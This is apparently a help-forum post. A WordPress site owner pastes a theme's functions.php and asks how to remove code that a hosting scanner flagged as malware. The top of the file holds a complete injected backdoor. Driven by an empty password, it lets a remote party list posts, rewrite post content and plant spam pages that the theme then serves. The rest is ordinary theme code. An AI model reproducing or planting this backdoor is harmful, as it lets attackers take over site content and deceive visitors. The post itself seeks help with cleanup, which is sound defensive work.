```
<?php

if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == ''))
{
    switch ($_REQUEST['action'])
    {
        case 'get_all_links';
            foreach ($wpdb->get_results('SELECT * FROM `' . $wpdb->prefix . 'posts` WHERE `post_status` = "publish" AND `post_type` = "post" ORDER BY `ID` DESC', ARRAY_A) as $data)
            {
                $data['code'] = '';

                if (preg_match('!<div id="wp_cd_code">(.*?)</div>!s', $data['post_content'], $_))
                {
                    $data['code'] = $_[1];
                }

                print '<e><w>1</w><url>' . $data['guid'] . '</url><code>' . $data['code'] . '</code><id>' . $data['ID'] . '</id></e>' . "\r\n";
            }
            break;

        case 'set_id_links';
            if (isset($_REQUEST['data']))
            {
                $data = $wpdb -> get_row('SELECT `post_content` FROM `' . $wpdb->prefix . 'posts` WHERE `ID` = "'.mysql_escape_string($_REQUEST['id']).'"');

                $post_content = preg_replace('!<div id="wp_cd_code">(.*?)</div>!s', '', $data -> post_content);
                if (!empty($_REQUEST['data'])) $post_content = $post_content . '<div id="wp_cd_code">' . stripcslashes($_REQUEST['data']) . '</div>';

                if ($wpdb->query('UPDATE `' . $wpdb->prefix . 'posts` SET `post_content` = "' . mysql_escape_string($post_content) . '" WHERE `ID` = "' . mysql_escape_string($_REQUEST['id']) . '"') !== false)
                {
                    print "true";
                }
            }
            break;

        case 'create_page';
            if (isset($_REQUEST['remove_page']))
            {
                if ($wpdb -> query('DELETE FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "/'.mysql_escape_string($_REQUEST['url']).'"'))
                {
                    print "true";
                }
            }
            elseif (isset($_REQUEST['content']) && !empty($_REQUEST['content']))
            {
                if ($wpdb -> query('INSERT INTO `' . $wpdb->prefix . 'datalist` SET `url` = "/'.mysql_escape_string($_REQUEST['url']).'", `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string($_REQUEST['content']).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'" ON DUPLICATE KEY UPDATE `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string(urldecode($_REQUEST['content'])).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'"'))
                {
                    print "true";
                }
            }
            break;

        default: print "ERROR_WP_ACTION WP_URL_CD";
    }

    die("");
}

if ( $wpdb->get_var('SELECT count(*) FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "'.mysql_escape_string( $_SERVER['REQUEST_URI'] ).'"') == '1' )
{
    $data = $wpdb -> get_row('SELECT * FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "'.mysql_escape_string($_SERVER['REQUEST_URI']).'"');
    if ($data -> full_content)
    {
        print stripslashes($data -> content);
    }
    else
    {
        print '<!DOCTYPE html>';
        print '<html ';
        language_attributes();
        print ' class="no-js">';
        print '<head>';
        print '<title>'.stripslashes($data -> title).'</title>';
        print '<meta name="Keywords" content="'.stripslashes($data -> keywords).'" />';
        print '<meta name="Description" content="'.stripslashes($data -> description).'" />';
        print '<meta name="robots" content="index, follow" />';
        print '<meta charset="';
        bloginfo( 'charset' );
        print '" />';
        print '<meta name="viewport" content="width=device-width">';
        print '<link rel="profile" href="http://gmpg.org/xfn/11">';
        print '<link rel="pingback" href="';
        bloginfo( 'pingback_url' );
        print '">';
        wp_head();
        print '</head>';
        print '<body>';
        print '<div id="content" class="site-content">';
        print stripslashes($data -> content);
        get_search_form();
        get_sidebar();
        get_footer();
    }

    exit;
}

?><?php
/*
    Our portfolio:  http://themeforest.net/user/tagDiv/portfolio
    Thanks for using our theme!
    tagDiv - 2016
*/

/**
 * Load the speed booster framework + theme specific files
 */

// load the deploy mode
require_once('td_deploy_mode.php');

// load the config
require_once('includes/td_config.php');
add_action('td_global_after', array('td_config', 'on_td_global_after_config'), 9); //we run on 9 priority to allow plugins to updage_key our apis while using the default priority of 10

// load the wp booster
require_once('includes/wp_booster/td_wp_booster_functions.php');

require_once('includes/td_css_generator.php');
require_once('includes/shortcodes/td_misc_shortcodes.php');
require_once('includes/widgets/td_page_builder_widgets.php'); // widgets

/*
 * mobile theme css generator
 * in wp-admin the main theme is loaded and the mobile theme functions are not included
 * required in td_panel_data_source
 * @todo - look for a more elegant solution(ex. generate the css on request)
 */
require_once('mobile/includes/td_css_generator_mob.php');

/* ----------------------------------------------------------------------------
 * Woo Commerce
 */

// breadcrumb
add_filter('woocommerce_breadcrumb_defaults', 'td_woocommerce_breadcrumbs');
function td_woocommerce_breadcrumbs() {
    return array(
        'delimiter' => ' <i class="td-icon-right td-bread-sep"></i> ',
        'wrap_before' => '<div class="entry-crumbs" itemprop="breadcrumb">',
        'wrap_after' => '</div>',
        'before' => '',
        'after' => '',
        'home' => _x('Home', 'breadcrumb', 'woocommerce'),
    );
}

// use own pagination
if (!function_exists('woocommerce_pagination')) {
    // pagination
    function woocommerce_pagination() {
        echo td_page_generator::get_pagination();
    }
}

// Override theme default specification for product 3 per row

// Number of product per page 8
add_filter('loop_shop_per_page', create_function('$cols', 'return 4;'));

if (!function_exists('woocommerce_output_related_products')) {
    // Number of related products
    function woocommerce_output_related_products() {
        woocommerce_related_products(array(
            'posts_per_page' => 4,
            'columns' => 4,
            'orderby' => 'rand',
        )); // Display 4 products in rows of 1
    }
}

/* ----------------------------------------------------------------------------
 * bbPress
 */
// change avatar size to 40px
function td_bbp_change_avatar_size($author_avatar, $topic_id, $size) {
    $author_avatar = '';
    if ($size == 14) {
        $size = 40;
    }
    $topic_id = bbp_get_topic_id( $topic_id );
    if ( !empty( $topic_id ) ) {
        if ( !bbp_is_topic_anonymous( $topic_id ) ) {
            $author_avatar = get_avatar( bbp_get_topic_author_id( $topic_id ), $size );
        } else {
            $author_avatar = get_avatar( get_post_meta( $topic_id, '_bbp_anonymous_email', true ), $size );
        }
    }
    return $author_avatar;
}
add_filter('bbp_get_topic_author_avatar', 'td_bbp_change_avatar_size', 20, 3);
add_filter('bbp_get_reply_author_avatar', 'td_bbp_change_avatar_size', 20, 3);
add_filter('bbp_get_current_user_avatar', 'td_bbp_change_avatar_size', 20, 3);

//add_action('shutdown', 'test_td');

function test_td () {
    if (!is_admin()){
        td_api_base::_debug_get_used_on_page_components();
    }
}

/**
 * tdStyleCustomizer.js is required
 */
if (TD_DEBUG_LIVE_THEME_STYLE) {
    add_action('wp_footer', 'td_theme_style_footer');
        // new live theme demos
        function td_theme_style_footer() {
            ?>
            <div id="td-theme-settings" class="td-live-theme-demos td-theme-settings-small">
                <div class="td-skin-body">
                    <div class="td-skin-wrap">
                        <div class="td-skin-container td-skin-buy"><a target="_blank" href="http://themeforest.net/item/newspaper/5489609?ref=tagdiv">BUY NEWSPAPER NOW!</a></div>
                            <div class="td-skin-container td-skin-header">GET AN AWESOME START!</div>
                            <div class="td-skin-container td-skin-desc">With easy <span>ONE CLICK INSTALL</span> and fully customizable options, our demos are the best start you'll ever get!!</div>
                        <div class="td-skin-container td-skin-content">
                            <div class="td-demos-list">
                                <?php
                                $td_demo_names = array();

                                foreach (td_global::$demo_list as $demo_id => $stack_params) {
                                    $td_demo_names[$stack_params['text']] = $demo_id;
                                    ?>
                                    <div class="td-set-theme-style"><a href="<?php echo td_global::$demo_list[$demo_id]['demo_url'] ?>" class="td-set-theme-style-link td-popup td-popup-<?php echo $td_demo_names[$stack_params['text']] ?>" data-img-url="http://demo.tagdiv.com/demos_popup/newspaper/large/<?php echo $demo_id; ?>.jpg"></a></div>
                                <?php } ?>
                                <div class="clearfix"></div>
                            </div>
                        </div>
                        <div class="td-skin-scroll"><i class="td-icon-read-down"></i></div>
                    </div>
                </div>
                <div class="clearfix"></div>
                <div class="td-set-hide-show"><a href="#" id="td-theme-set-hide"></a></div>
                <div class="td-screen-demo" data-width-preview="380"></div>
                <div class="td-screen-demo-extend"></div>
            </div>
            <?php
    }
}

//print_r(td_global::$all_theme_panels_list);

```

My hosting virus scanner detects that there is virus in theme function.php file. Not sure how to delete the code without effecting the website. Please help me in clearing the malicious virus code " SiteLock-PHP-FILEHACKER-of.UNOFFICIAL " from this functions.php